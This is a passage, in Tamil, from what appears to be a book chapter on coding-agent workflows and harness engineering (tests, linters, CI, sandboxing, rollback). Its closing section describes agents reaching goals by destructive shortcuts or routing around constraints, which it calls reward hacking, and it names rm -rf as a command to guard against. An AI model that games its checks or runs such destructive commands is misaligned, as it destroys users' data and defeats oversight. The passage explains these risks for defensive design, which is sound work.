வேண்டும். குறியீட்டு ஏஜெண்ட்களுக்கு, இது ஒரு முக்கியமான கட்டிடக்கலைக் கொள்கை: குறியீடு எழுதுபவரும் இயக்குபவரும் நம்பத்தகாதவர்களாக இருக்கும்போது, உண்மையிலேயே நம்பகமான கட்டுப்பாடுகள் உருவாக்கப்பட்ட குறியீட்டில் இருக்க முடியாது, அதற்குக் கீழே உள்ள மனித-மதிப்பாய்வு செய்யப்பட்ட அடித்தளத்தில் இருக்க வேண்டும்—இது அத்தியாயம் 1 இன் "வழிகாட்டலை விட கட்டுப்பாடுகள்" கொள்கையின் தரவு அடுக்கில் இறுதி வடிவமாகும்.

[^ch5-2]: "பயன்பாட்டு அடுக்குக்குக் கீழே நம்பிக்கை எல்லையை நகர்த்துதல்" பற்றிய இந்த வடிவமைப்பு மற்றும் மதிப்பீடு (வெவ்வேறு தீர்வுகளில் மீறல் எண்ணிக்கைகளின் முழுமையான ஒப்பீடு உட்பட) Li, Bojie. The Application Layer Is No Longer Trusted: Enforcing Data Invariants Below AI-Written Code and AI Agents. 2026 (வெளியாகவுள்ளது) இல் காணலாம்.

ஒரு குறியீட்டு ஏஜெண்ட்டின் ஒட்டுமொத்த பணிப்பாய்வு

பின்வருபவை ஒரு பரிந்துரைக்கப்பட்ட பொறியியல் பணிப்பாய்வை விவரிக்கிறது. இது மென்பொருள் பொறியியலின் சிறந்த நடைமுறைகளை ஏஜெண்ட்டின் மீது பிரதிபலிக்கிறது, ஒரு சிறந்த வடிவத்தை கோடிட்டுக் காட்டுகிறது. நிஜ உலக குறியீட்டு ஏஜெண்ட்கள் (Claude Code, OpenClaw போன்றவை) பெரும்பாலும் ஒரு எதிர்வினை மறுசெயல் சுழற்சியில் வேலை செய்கின்றன மற்றும் தேவைக்கேற்ப இந்த பணிப்பாய்வை சுருக்கிக் கொள்ளும்—எளிய பணிகள் வடிவமைப்பு ஆவணங்களைத் தவிர்த்துவிடும் மற்றும் ஒவ்வொரு அடியிலும் பயனர் ஒப்புதலுக்காக காத்திருக்காது; ஒரு பணி சிக்கலானதாகவும் பரந்த தாக்கத்தை ஏற்படுத்தக்கூடியதாகவும் இருக்கும்போது மட்டுமே ஒவ்வொரு கட்டத்தையும் முழுமையாக கடந்து செல்லும்.

திட்ட ஆவணப்படுத்தல்.

ஒரு குறியீட்டு ஏஜெண்டின் (Coding Agent) பணி, திட்டத்தை முறையாகப் புரிந்துகொள்வதில் தொடங்குகிறது. ஒரு ஏஜெண்ட் (Agent) முதன்முறையாக ஒரு குறியீட்டுக் களஞ்சியத்தை (code repository) சந்திக்கும்போது, அதன் முதன்மையான பணி உடனடியாக குறியீட்டை மாற்றத் தொடங்குவதல்ல, மாறாக முழுத் திட்டத்திற்குமான ஒரு அறிவாற்றல் கட்டமைப்பை (cognitive framework) முதலில் நிறுவுவதாகும்—ஒரு புதிய பொறியாளர் தனது முதல் நாளில் நேரடியாக குறியீட்டைச் சமர்ப்பிக்காமல், முதலில் திட்ட அமைப்பைப் பற்றி அறிந்துகொள்வதைப் போல. ஏஜெண்ட் முதலில் திட்டத்தில் ஆவணங்கள் உள்ளதா என சரிபார்க்கும்—README, கட்டமைப்பு வடிவமைப்பு ஆவணங்கள், டெவலப்பர் வழிகாட்டிகள்.

முக்கிய ஆவணங்கள் இல்லையென்றால், ஏஜெண்ட் கண்மூடித்தனமாக வேலை செய்யத் தொடங்கக்கூடாது, மாறாக ஆவணப்படுத்தலின் பொறுப்பை முனைப்புடன் ஏற்க வேண்டும்—குறியீட்டுத் தளத்தை முறையாகப் படித்து, முதன்மை தொகுதிகள் (modules), மைய சுருக்கங்கள் (core abstractions), மற்றும் கூறுகளுக்கிடையேயான சார்புகளை (dependencies) அடையாளம் கண்டு, கட்டமைப்பு மேலோட்டம், அடைவு அமைப்பு, மற்றும் சோதனை இயக்க வழிகாட்டி ஆகியவற்றைக் கொண்ட ஆரம்ப ஆவணங்களை உருவாக்க வேண்டும். இந்த ஆவணம் ஏஜெண்டின் அடுத்தடுத்த பணிகளுக்கான வரைபடமாகவும், மற்ற டெவலப்பர்களுக்கான நுழைவுப் புள்ளியாகவும் செயல்படுகிறது. இது ஒரு முக்கியமான கொள்கையை வெளிப்படுத்துகிறது: அறிவின் வெளிப்படுத்தல் (externalization of knowledge) திறமையான ஒத்துழைப்புக்கான முன்நிபந்தனையாகும்.

திட்ட ஆவணங்கள் இப்போது ஏஜெண்டுகளுக்கென ஒரு குறிப்பிட்ட வடிவத்தைக் கொண்டுள்ளன: திட்ட அறிவுறுத்தல் கோப்புகள் (Project Instruction Files). CLAUDE.md, AGENTS.md, .cursorrules போன்ற கோப்புகள் உண்மையான தொழில் தரநிலைகளாக மாறிவிட்டன—ஒவ்வொரு அமர்வின் தொடக்கத்திலும் அவை தானாகவே சூழலில் (context) செலுத்தப்பட்டு, திட்ட அளவிலான சிஸ்டம் ப்ராம்ப்ட்களாக (project-level system prompts) செயல்படுகின்றன. மனித வாசகர்களுக்கான README களில் இருந்து மாறுபட்டு, அறிவுறுத்தல் கோப்புகள் ஏஜெண்டுகளுக்கான நடத்தை மரபுகளைக் கொண்டுள்ளன: உருவாக்க மற்றும் சோதனை கட்டளைகள் ("npm test க்கு பதிலாக pnpm test ஐப் பயன்படுத்தவும்"), குறியீட்டு பாணி ("any வகையை முடக்கவும்"), மற்றும் தெளிவான கட்டுப்படுத்தப்பட்ட மண்டலங்கள் ("migrations/ கோப்பகத்தை மாற்ற வேண்டாம்"). இது OpenClaw இன் SOUL.md (ஏஜெண்டின் அடையாளம் மற்றும் நடத்தை விதிகளை வரையறுக்கிறது) மற்றும் MEMORY.md (அமர்வுகளுக்கிடையேயான அனுபவத்தைக் குவிக்கிறது) ஆகியவற்றின் அதே கருத்தாகும், வெவ்வேறு நிலைகளில் பயன்படுத்தப்படுகிறது: SOUL.md "ஏஜெண்ட் யார்" என்பதை வரையறுக்கிறது, அதேசமயம் திட்ட அறிவுறுத்தல் கோப்புகள் "இந்த திட்டத்தில் எப்படி வேலை செய்வது" என்பதை வரையறுக்கின்றன. அத்தியாயம் 2 இன் சூழல் பொறியியல் (context engineering) கண்ணோட்டத்தில், அறிவுறுத்தல் கோப்புகள் மிகவும் சிக்கனமான நிலையான முன்னிணைப்பு (stable prefix) ஆகும்—அவற்றின் உள்ளடக்கம் பணியுடன் மாறாது, இயற்கையாகவே KV கேச் (KV Cache) நட்புடன் இருக்கும்; மேலும் "அறிவு குறியீட்டுத் தளத்திற்குள்ளேயே இருக்க வேண்டும்" என்ற கொள்கையின் மிக நேரடியான செயலாக்கமும் ஆகும்.

அறிவு வெளிப்படுத்தலின் கொள்கைக்கு ஒரு சுவாரஸ்யமான துணை முடிவும் உள்ளது: தொலைதூர வேலைக்கு நட்பான குழுக்கள், பெரும்பாலும் AI ஏஜெண்டுகளுக்கும் நட்பானவையாக இருக்கும். தொலைதூர குழுக்கள் ஒத்திசைவற்ற தகவல் தொடர்பு மற்றும் ஆவணப்படுத்தலை நம்பியிருக்க வேண்டிய கட்டாயத்தில் உள்ளன—முடிவுகள் ஆவணங்களில் பதிவு செய்யப்படுகின்றன, சூழல் (context) சிக்கல் மற்றும் PR விளக்கங்களில் எழுதப்படுகிறது, பகிரப்பட்ட அறிவு (tribal knowledge) பக்கத்து மேசையில் வாய்மொழியாகவோ கூட்ட அறை வெள்ளைப் பலகையிலோ கடத்தப்படாமல், டெவலப்பர் வழிகாட்டிகளில் குவிகிறது. இதுவே ஏஜெண்டுகள் உட்கொள்ளக்கூடிய அறிவின் வடிவமாகும்: ஏஜெண்டுகளால் வாய்வழி ஒப்பந்தங்களைப் படிக்க முடியாது, ஆனால் அவற்றால் வடிவமைப்பு ஆவணங்களைப் படிக்க முடியும். மாறாக, "என் அருகில் அமர்ந்திருக்கும் சக ஊழியரிடம் கேட்பதை" அதிகம் நம்பியிருக்கும் ஒரு குழுவிற்கு, புதிய தொலைதூர ஊழியர் மற்றும் ஒரு ஏஜெண்ட் இருவருக்குமே சமமான அதிக ஆன்போர்டிங் செலவு இருக்கும். ஒரு குழுவின் "AI-தயார்நிலையை" மதிப்பிடுவதற்கான ஒரு எளிய மாற்று அளவீடு (proxy metric) என்பது, ஒரு தொலைதூர புதியவர் குறியீட்டு களஞ்சியம் (code repository) மற்றும் ஆவணங்களை மட்டுமே நம்பி சுயாதீனமாக வேலை செய்ய முடியுமா என்பதாகும்.

பணி புரிதல் மற்றும் தேவைகள் தெளிவுபடுத்தல்.

தெளிவான எல்லைகள் மற்றும் குறைந்த தாக்கம் கொண்ட எளிய தேவைகளுக்கு—அறியப்பட்ட பிழையை சரிசெய்வது அல்லது ஒரு செயல்பாட்டின் அளவுருக்களை மாற்றுவது போன்றவை—ஏஜெண்ட் நேரடியாக செயல்படுத்தும் கட்டத்திற்குச் செல்லலாம். இருப்பினும், மென்பொருள் மேம்பாட்டில் பெரும்பாலான பணிகள் இவ்வளவு எளிமையானவை அல்ல.

சிக்கலான தேவைகளுக்கு, ஏஜெண்ட் மிகவும் எச்சரிக்கையாகவும் முறையாகவும் இருக்க வேண்டும். சிக்கலானது பல பரிமாணங்களில் இருந்து எழலாம்: தேவையின் தெளிவின்மை (பயனர் தனக்கு என்ன வேண்டும் என்று தெரிந்தும் அதை துல்லியமாக வெளிப்படுத்த முடியாமல் இருப்பது), செயல்படுத்தும் பாதைகளின் பன்முகத்தன்மை (ஒவ்வொன்றும் அதன் சொந்த பரிமாற்றங்களைக் கொண்ட பல தொழில்நுட்ப தீர்வுகள்), அல்லது தாக்கத்தின் பரந்த தன்மை (பல தொகுதிகளில் மாற்றங்கள் தேவைப்படுதல், ஏற்கனவே உள்ள செயல்பாட்டை உடைக்கும் வாய்ப்பு). ஏஜெண்ட் ஆய்வு ஆராய்ச்சி மூலம் எல்லைகளை தெளிவுபடுத்த வேண்டும் மற்றும் தேவைப்படும் போது பயனருடன் முனைப்புடன் உரையாடலில் ஈடுபட வேண்டும். உதாரணமாக, ஒரு பயனர் "கணினி செயல்திறனை மேம்படுத்துங்கள்" என்று கேட்கும்போது, ஏஜெண்ட் முதலில் கண்டுபிடிக்க வேண்டும்: மேம்படுத்தலின் குறிப்பிட்ட இலக்கு என்ன (பதில் நேரத்தைக் குறைப்பது, நினைவக பயன்பாட்டைக் குறைப்பது அல்லது செயல்திறனை அதிகரிப்பது), என்ன பரிமாற்றங்கள் ஏற்கத்தக்கவை (அதிகரித்த குறியீடு சிக்கலானது அனுமதிக்கப்படுகிறதா), மற்றும் தற்போதைய இடையூறு (bottleneck) எங்கே உள்ளது. தேவைகள் இன்னும் தெளிவற்ற நிலையில் குறியீடு எழுதத் தொடங்குவது பெரும்பாலும் குறிப்பிடத்தக்க மறுவேலைக்கு வழிவகுக்கும்.

வடிவமைப்பு ஆவணம் எழுதுதல்.

வடிவமைப்பு ஆவணம் என்பது சுருக்கமான தேவைகளை ஒரு உறுதியான செயலாக்கத் திட்டமாக மொழிபெயர்க்கும் ஒரு பாலமாகும். இது மையக் கேள்விகளுக்கு பதிலளிக்க வேண்டும்: எந்த தொகுதிகளை மாற்ற வேண்டும், ஏன்; எந்த தீர்வை ஏற்க வேண்டும் மற்றும் அதன் ஒப்பீட்டு நன்மைகள் என்ன; என்ன புதிய சார்புகளை அறிமுகப்படுத்த வேண்டும்; மற்றும் அமைப்பில் எதிர்பார்க்கப்படும் தாக்கம் என்ன. ஒரு வடிவமைப்பு ஆவணத்தை எழுதுவது என்பது ஆழமான சிந்தனையாகும்—இது ஏஜெண்டை (Agent) குறியீடு எழுதுவதில் அதிக முதலீடு செய்வதற்கு முன், ஒரு தீர்வின் சாத்தியக்கூறுகளை கருத்தியல் ரீதியாக சரிபார்க்க கட்டாயப்படுத்துகிறது. மிக முக்கியமாக, வடிவமைப்பு ஆவணம் மனிதர்களுக்கு ஒரு திறமையான தலையீட்டு புள்ளியை வழங்குகிறது—ஒரு சுருக்கமான வடிவமைப்பு ஆவணத்தை மதிப்பாய்வு செய்வது, நூற்றுக்கணக்கான குறியீட்டு வரிகளை மதிப்பாய்வு செய்வதை விட மிகவும் எளிதானது. வடிவமைப்பு ஆவணத்தை முடித்த பிறகு, ஏஜெண்ட் அதை பயனர் மதிப்பாய்வுக்கு சமர்ப்பித்து, தொடர்வதற்கு முன் ஒப்புதலுக்காக காத்திருக்க வேண்டும்.

குறியீடு செயலாக்கம் மற்றும் சோதனை.

வடிவமைப்பு ஒப்புதலைப் பெற்ற பிறகு, ஏஜெண்ட் திட்டத்தின் குறியீட்டு மரபுகளைப் பின்பற்றி செயலாக்கத்தை மேற்கொள்கிறது, ஏற்கனவே உள்ள சுருக்கங்கள் மற்றும் கருவிகளை மீண்டும் பயன்படுத்துகிறது, மேலும் குறியீட்டுத் தளத்தின் ஆரோக்கியத்தைப் பராமரிக்க தேவைப்படும் போது மிதமான மறுகட்டமைப்பை (refactoring) செய்கிறது.

செயலாக்கத்திற்குப் பிறகு, ஏஜெண்ட் உடனடியாக ஒரு சோதனை-உந்துதல் தர உத்தரவாத கட்டத்தில் நுழைகிறது—புதிய அல்லது மாற்றியமைக்கப்பட்ட செயல்பாட்டிற்கான சோதனை வழக்குகளை எழுதுகிறது, சாதாரண பாதைகள், எல்லை நிலைமைகள் மற்றும் பிழை சூழ்நிலைகளை உள்ளடக்குகிறது. சோதனைகளை எழுதிய பிறகு, ஏஜெண்ட் சோதனைத் தொகுப்பை இயக்குகிறது. சோதனைகள் தோல்வியுற்றால், ஏஜெண்ட் வெறுமனே தோல்வியை பயனரிடம் தெரிவிக்காமல், காரணத்தை பகுப்பாய்வு செய்து, சிக்கலைக் கண்டறிந்து, அனைத்து சோதனைகளும் தேர்ச்சி பெறும் வரை குறியீட்டை மாற்றியமைக்க வேண்டும். இந்த "சோதனை-திருத்தம்" சுழற்சி பல மறு செய்கைகள் தேவைப்படலாம், மேலும் இந்த சுய-திருத்தும் திறன்தான் ஒரு குறியீட்டு ஏஜெண்டை (Coding Agent) ஒரு குறியீடு ஜெனரேட்டரில் இருந்து நம்பகமான பொறியியல் உதவியாளராக உயர்த்துகிறது. மறுபுறம், ஒரு குறியீட்டு ஏஜெண்டின் மிகவும் பொதுவான சோம்பேறித்தனம் இந்தப் படியைத் தவிர்ப்பதே—குறியீட்டை எழுதி முடித்ததும், சோதனைகளை இயக்காமலேயே "பணி முடிந்தது" என்று அறிவிப்பது. "குறியீடு எழுதப்பட்டது" என்பதற்குப் பதிலாக "சோதனைகள் தேர்ச்சி பெற்றன" என்பதை நிறைவு அளவுகோலாக வரையறுப்பது, லூப் பொறியியலின் (Loop Engineering) "எப்போது நிறுத்தலாம் என்பதை சரிபார்ப்பே தீர்மானிக்கும்" கொள்கை, குறியீட்டுக் காட்சியில் நடைமுறைப்படுத்தப்படுவதே ஆகும் (அத்தியாயம் 10 இத்தகைய "முன்கூட்டிய நிறுத்தம்" (premature termination) பிரச்சினைகளை முறையாக விவாதிக்கும்).

அனைத்து சோதனைகளும் தேர்ச்சி பெற்றாலும், ஏஜெண்டின் பணி முடிந்துவிடவில்லை. அடுத்த கட்டம் குறியீடு மதிப்பாய்வு: ஏஜெண்ட் தான் உருவாக்கிய குறியீட்டை விமர்சன ரீதியாக ஆராய்கிறது—அது படிக்கக்கூடியதாக உள்ளதா, போதுமான கருத்துரைகள் உள்ளனவா; சாத்தியமான செயல்திறன் சிக்கல்கள் அல்லது பாதுகாப்பு பாதிப்புகள் உள்ளனவா; இது திட்டத்தின் குறியீட்டு பாணி மற்றும் சிறந்த நடைமுறைகளைப் பின்பற்றுகிறதா. இந்த சுய-மதிப்பாய்வை குறியீட்டைப் படிப்பதன் மூலமாகவோ, லிண்ட் (lint) கருவிகளை இயக்குவதன் மூலமாகவோ, அல்லது ஒரு பிரத்யேக குறியீடு மதிப்பாய்வு துணை-ஏஜெண்டை (sub-agent) அழைப்பதன் மூலமாகவோ அடையலாம். மதிப்பாய்வு சிக்கல்களைக் கண்டறிந்தால், ஏஜெண்ட் அவற்றை மேம்படுத்த மாற்றியமைக்கும் கட்டத்திற்குத் திரும்ப வேண்டுமே தவிர, குறைபாடுள்ள குறியீட்டை பயனருக்கு வழங்கக்கூடாது.

ஆவணப்படுத்தல் ஒத்திசைவு மற்றும் விநியோகம்.

குறியீடு மாற்றங்கள் கட்டமைப்பு மட்டத்தில் மாற்றங்களை உள்ளடக்கியிருந்தால்—எடுத்துக்காட்டாக, ஒரு புதிய தொகுதியை அறிமுகப்படுத்துதல், தொகுதிகளுக்கு இடையேயான சார்புகளை மாற்றுதல் அல்லது மைய சுருக்கங்களின் பொருளியலை மாற்றுதல்—ஏஜெண்ட் அதற்கேற்ப கட்டமைப்பு ஆவணத்தைப் புதுப்பிக்க வேண்டும். காலாவதியான ஆவணம் ஆவணம் இல்லாததை விட மோசமானது, ஏனெனில் அது எதிர்கால டெவலப்பர்களை தவறாக வழிநடத்துகிறது. ஒவ்வொரு முக்கிய மாற்றத்திற்குப் பிறகும் தானாகவே ஆவணத்தைப் புதுப்பிப்பதன் மூலம், ஏஜெண்ட் திட்டத்தின் அறிவுத் தளத்தின் ஒருமைப்பாடு மற்றும் சமகாலத்தன்மையைப் பராமரிக்க உதவுகிறது.

இந்த பணிப்பாய்வு மென்பொருள் பொறியியலின் மையக் கொள்கைகளை உள்ளடக்கியது: திட்டமிடல் செயலுக்கு முன்னதாக இருக்கிறது, சரிபார்ப்பு முழுவதும் இயங்குகிறது, மற்றும் ஆவணப்படுத்தல் குறியீட்டுடன் சேர்ந்து உருவாகிறது.

குறியீட்டு ஏஜெண்ட்டில் Harness பொறியியலின் நடைமுறை

அத்தியாயம் 1 Harness பொறியியல் மற்றும் ஏஜெண்ட் = மாதிரி + Harness என்ற சூத்திரத்தின் கருத்தை அறிமுகப்படுத்தியது. இங்கு Harness என்பது மைய சூத்திரத்தின் சூழல் மற்றும் கருவிகளை மட்டுமல்லாமல், கட்டுப்பாடுகள், சரிபார்ப்பு மற்றும் திருத்த வழிமுறைகளையும் உள்ளடக்கியது—இந்த ஐந்து கூறுகளும் சேர்ந்து அத்தியாயம் 1 இல் வரையறுக்கப்பட்ட Harness ஐ உருவாக்குகின்றன. குறியீட்டு ஏஜெண்டுகள் (Coding Agents) ஒருவேளை Harness பொறியியலில் இருந்து அதிகம் பயனடையும் துறையாகும்—குறியீடு எழுதுதல் என்பது மிகவும் சரிபார்க்கக்கூடிய ஏஜெண்ட் பணி வகையாகும், மேலும் கட்டுப்பாடுகள், சரிபார்ப்பு மற்றும் திருத்தத்திற்கான தற்போதைய உள்கட்டமைப்பும் உள்ளது. இந்தப் பகுதி குறியீட்டு ஏஜெண்ட் காட்சியில் குறிப்பிட்ட நடைமுறைகளில் கவனம் செலுத்துகிறது.

ஒரு அமைப்பு நிலையாக இயங்குகிறதா என்பது பெரும்பாலும் மாதிரியின் சக்தியை விட, ஏஜெண்டைச் சுற்றி கட்டப்பட்ட உள்கட்டமைப்பின் உறுதித்தன்மையைப் பொறுத்தது. அத்தியாயம் 1 Harness ஐ இரண்டு அடுக்குகளாகப் பிரிக்கிறது—சூழல் மற்றும் கருவிகள் (ஏஜெண்டை செயல்பட வைப்பது) மற்றும் கட்டுப்பாடுகள், சரிபார்ப்பு மற்றும் திருத்தம் (ஏஜெண்ட் தவறு செய்வதைத் தடுப்பது). குறியீட்டு ஏஜெண்ட் காட்சியில், இவை குறிப்பிட்ட பொறியியல் கூறுகளாக மொழிபெயர்க்கப்படுகின்றன:

• ஏற்றுக்கொள்ளல் அடிப்படை (Acceptance Baseline): "முடிந்தது" என்பதை வரையறுப்பது—சோதனைத் தொகுப்புகள், CI குழாய் (Continuous Integration pipeline, குறியீடு சமர்ப்பிக்கப்பட்ட பின் தானாக இயங்கும் சோதனைகளின் தொடர்), குறியீடு மதிப்பாய்வு தரநிலைகள்
• செயல்படுத்தல் எல்லை (Execution Boundary): ஏஜெண்டால் என்ன தொட முடியும் மற்றும் முடியாது—தொகுதி எல்லைகள், சார்பு விதிகள், அனுமதி கட்டுப்பாடுகள்
• பின்னூட்ட சமிக்ஞைகள் (Feedback Signals): தானியங்கி சரியான தன்மை தீர்ப்புகள்—லிண்டர் (Linter, குறியீடு பாணி சரிபார்ப்புக் கருவி, வடிவமைப்புப் பிழைகள் மற்றும் சாத்தியமான சிக்கல்களை தானாகக் கண்டறியும்) வெளியீடு, சோதனை முடிவுகள், வகை சரிபார்ப்புப் பிழைகள்
• மீளமைப்பு வழிமுறை (Rollback Mechanism): ஏதேனும் தவறு நடந்தால் எவ்வாறு மீள்வது—Git பதிப்புக் கட்டுப்பாடு, சாண்ட்பாக்ஸ் தனிமைப்படுத்தல், ஸ்னாப்ஷாட் மீளமைப்பு

குறியீட்டு ஏஜெண்டுகள் Harness பொறியியலுக்கு ஏன் குறிப்பாக பொருத்தமானவை.

பணிகளை இரண்டு பரிமாணங்களைப் பயன்படுத்தி நான்கு நிலைகளாக வகைப்படுத்தலாம்: பணி தெளிவு மற்றும் சரிபார்ப்பு தன்னியக்கத்தின் அளவு. தெளிவான இலக்குகள் மற்றும் தானாக சரிபார்க்கக்கூடிய முடிவுகளைக் கொண்ட பணிகள் ஏஜெண்டுகள் செயல்பட சிறந்த பகுதியாகும்; இலக்கு தெளிவாக இருந்தாலும் சரிபார்ப்புக்கு மனித மேற்பார்வை தேவைப்பட்டால், செயல்திறன் உச்சவரம்பு மனித மதிப்பாய்வு வேகமாகும்; தானியங்கி பின்னூட்டம் இருந்தாலும் தெளிவற்ற இலக்கு இருந்தால், அமைப்பு திறமையாக தவறான திசையில் இயங்கும்; இரண்டும் இல்லாவிட்டால், ஏஜெண்ட் பெரும்பாலும் பயனற்றதாக இருக்கும். அட்டவணை 5-1 இந்த நான்கு நிலைகளைக் காட்டுகிறது. Harness இன் நோக்கம், முடிந்தவரை பல பணிகளை "தெளிவான இலக்கு + தானியங்கி சரிபார்ப்பு" என்ற நாற்கரத்திற்குத் தள்ளுவதாகும்.

அட்டவணை 5-1 பணி தெளிவு மற்றும் சரிபார்ப்பு தன்னியக்கத்தின் நான்கு நாற்கரங்கள்

	முடிவுகளை தானாக சரிபார்க்க முடியும்	முடிவுகளை கைமுறையாக சரிபார்க்க வேண்டும்
தெளிவான இலக்கு	சிறந்த பகுதி: சோதனை வழக்குகளுடன் பிழைகளை சரிசெய்தல்	செயல்திறன் வரம்புக்குட்பட்டது: குறியீடு மறுகட்டமைப்புக்கு கைமுறை மதிப்பாய்வு தேவை
தெளிவற்ற இலக்கு	திறமையாக திசை தவறுதல்: லிண்டருடன் "குறியீடு தரத்தை" மேம்படுத்துதல்	தொடங்க கடினம்: "UI ஐ நன்றாகக் காட்டுவது"

குறியீடு எழுதுதல் இந்த நாற்கூறின் மையத்தில் இயற்கையாகவே அமைந்துள்ளது—சோதனைத் தொகுப்புகள் தெளிவான ஏற்பு அளவுகோல்களை வழங்குகின்றன, லின்டர்கள் மற்றும் வகை சரிபார்ப்புகள் உடனடி தானியங்கி சரிபார்ப்பை வழங்குகின்றன, மேலும் Git சரியான பதிப்புக் கட்டுப்பாடு மற்றும் மீளமைப்பு திறன்களை வழங்குகிறது. இதனால்தான் குறியீட்டு ஏஜெண்டுகள் தற்போது அனைத்து ஏஜெண்டு வகைகளிலும் மிகவும் முதிர்ச்சியடைந்துள்ளன: குறியீடு உருவாக்க மாதிரிகள் குறிப்பாக சக்திவாய்ந்தவை என்பதால் அல்ல, மாறாக பல தசாப்தங்களாக மென்பொருள் பொறியியல் உள்கட்டமைப்பு இயற்கையாகவே ஒரு வலுவான Harness ஐ உருவாக்குகிறது.

தொழில் நடைமுறை.

Harness நடைமுறையின் மூன்று வழக்கு ஆய்வுகள் மேற்கண்ட கொள்கைகளை உறுதிப்படுத்துகின்றன:

• பெரிய அளவிலான குறியீடு இடமாற்ற வழக்கு (ஒரு பெரிய தொழில்நுட்ப நிறுவனத்தின் பொதுவில் பகிரப்பட்ட பெரிய அளவிலான குறியீடு இடமாற்ற நடைமுறையிலிருந்து): முக்கிய அம்சம் மாதிரியின் வலிமை அல்ல, மாறாக Harness மூன்று விஷயங்களைச் சரியாகச் செய்தது—அறிவு குறியீட்டுத் தளத்திலேயே இருக்க வேண்டும் (ஏஜெண்டால் பார்க்க முடியாதது இல்லாததற்கு சமம்), கட்டுப்பாடுகள் ஆவணங்களில் எழுதப்படுவதற்குப் பதிலாக லின்டர்கள் மற்றும் CI இல் குறியிடப்படுகின்றன, மேலும் சரிபார்ப்பு மற்றும் திருத்தம் முழுமையாக தானியக்கமாக்கப்பட்டு இறுதி முதல் இறுதி வரை செயல்படுகின்றன.
• LangChain: Harness ஐ மட்டும் மேம்படுத்துவதன் மூலம் (சிஸ்டம் ப்ராம்ப்டுகள், டூல் மிடில்வேர், சுய-சரிபார்ப்பு சுழல்கள்) அளவுகோல் பணி செயல்திறனை கணிசமாக மேம்படுத்தியது. குறிப்பாக கவனிக்கத்தக்கது "Harness ஐ மேம்படுத்த தோல்விப் பாதைகளை பகுப்பாய்வு செய்ய ஏஜெண்டைப் பயன்படுத்துதல்" என்ற முறையியல் ஆகும், இது Harness பொறியியலை அனுபவம் சார்ந்ததிலிருந்து தரவு சார்ந்ததாக மாற்றுகிறது.
• Anthropic: நீண்ட பணிகளை இரண்டு பாத்திரங்களாகப் பிரிக்கிறது—ஒரு துவக்க ஏஜெண்டு பெரிய பணிகளை பணிப் பட்டியலாக உடைப்பதற்கும், ஒரு செயலாக்க ஏஜெண்டு படிப்படியாக முன்னேறுவதற்கும் பொறுப்பாகும், இடைநிலை முடிவுகளை (நிறைவு செய்யப்பட்ட குறியீடு கோப்புகள், புதுப்பிக்கப்பட்ட பணிப் பட்டியல்கள் போன்றவை) அடுத்த சுற்று தொடர்ந்து பயன்படுத்த விட்டுச் செல்கிறது. இந்த உழைப்புப் பிரிவு நீண்ட நேரம் இயங்கும் ஏஜெண்டுகள் "ஒரே நேரத்தில் அதிகமாகச் செய்ய முயற்சிப்பது" அல்லது "முன்கூட்டியே நிறைவு செய்ததாகக் கூறுவது" போன்ற பிரச்சனைகளைத் தீர்க்கிறது.

குறியீட்டு ஏஜெண்டிலிருந்து பொது Harness வடிவமைப்புக் கொள்கைகளுக்கு.

குறியீட்டு ஏஜெண்டுகளின் Harness நடைமுறைகள் அனைத்து ஏஜெண்டு அமைப்புகளுக்கும் மாற்றத்தக்க வடிவமைப்புக் கொள்கைகளை வழங்குகின்றன:

1. வழிகாட்டலை விட கட்டுப்பாடுகள்: குறியீட்டுடன் செயல்படுத்தக்கூடிய விதிகள் ஆவணங்களில் பரிந்துரைக்கப்படக்கூடாது. லின்டர் விதிகள், வகை கட்டுப்பாடுகள் மற்றும் CI சோதனைகளின் மதிப்பு, சிஸ்டம் ப்ராம்ப்டுகளில் உள்ள "தயவுசெய்து பின்பற்றவும்..." வழிகாட்டலை விட மிக அதிகம்—முந்தையது "செய்ய முடியாது" என்று பொருள், பிந்தையது வெறுமனே "எதிராக அறிவுறுத்தப்படுகிறது" என்பதாகும்.
2. சரிபார்ப்பை தானியக்கமாக்குங்கள்: கைமுறை மதிப்பாய்வு அளவிட முடியாத ஒரு தடையாகும். சோதனைத் தொகுப்புகள், குறியீடு தரச் சோதனைகள் மற்றும் நடத்தை கண்காணிப்பில் முதலீடு செய்வது, அதிக மனித முயற்சியைச் சேர்ப்பதை விட மிக அதிக வருவாயைத் தருகிறது.
3. பின்னூட்டம் முடிந்தவரை வேகமாகவும் கட்டமைக்கப்பட்டதாகவும் இருக்க வேண்டும்: பிழைச் செய்தி எவ்வளவு விரிவாகவும், பிழை ஏற்பட்ட தருணத்திற்கு எவ்வளவு நெருக்கமாகவும் இருக்கிறதோ, அவ்வளவு அதிகமாக ஏஜெண்டின் திருத்தத் திறன் இருக்கும். அத்தியாயம் 2 இலிருந்து ஏஜெண்டு நிலைப் பட்டை நுட்பங்கள் (விரிவான பிழைச் செய்திகள், டூல் அழைப்பு கவுண்டர்கள்) இந்தக் கொள்கையை உள்ளடக்குகின்றன.
4. மீளமைப்பு நம்பகமானதாக இருக்க வேண்டும்: பாதுகாப்பு வலையில் செயல்படும்போது மட்டுமே ஏஜெண்டுகள் தைரியமாக பரிசோதனை செய்ய முடியும். Git கிளைகள், சாண்ட்பாக்ஸ் சூழல்கள் மற்றும் ஸ்னாப்ஷாட் வழிமுறைகள் எந்தப் பிழையும் மீளக்கூடியதாக இருப்பதை உறுதி செய்கின்றன.

கட்டுப்பாடுகளின் மற்றொரு நோக்கம்: செயல்முறைப் பிழைகளைத் தடுத்தல். ஏற்றுக்கோள் அடிப்படை முடிவு சரியா என்பதைக் கவனிக்கிறது; செயல்படுத்தும் எல்லை செயல்முறையைக் கவனிக்கிறது—முடிவு சரியாக இருந்தாலும், தவறான முறை அதை நியாயப்படுத்தாது. தரவுத்தளக் கோளாறை "சரிசெய்ய" தரவுத்தளத்தையே நீக்கி மீண்டும் உருவாக்கினால், "சரிசெய்தல்" நிச்சயமாக வேலை செய்யும், ஆனால் தரவு போய்விடும்; தொகுப்புப் பிழையைச் சரிசெய்ய எல்லாக் குறியீட்டையும் நீக்கி மீண்டும் எழுதினால், தொகுப்பு நிச்சயமாக வெற்றிபெறும், ஆனால் செயலாக்கம் போய்விடும். இத்தகைய அழிவுகரமான குறுக்குவழிகள் எப்போதும் உள்ளன: இறுதி மதிப்பீட்டு அளவீடுகளில் கட்டுப்பாடுகளை எழுதினாலும், ஏஜெண்டுகள் பெரும்பாலும் அவற்றைச் சுற்றி வழி கண்டுபிடிக்கின்றன—இதுவே அத்தியாயம் 7 விவாதிக்கும் reward hacking இன் ஏஜெண்ட் பணிகளிலான அன்றாட வடிவமாகும். எனவே உற்பத்தி-தர Harness, rm -rf, உற்பத்தித் 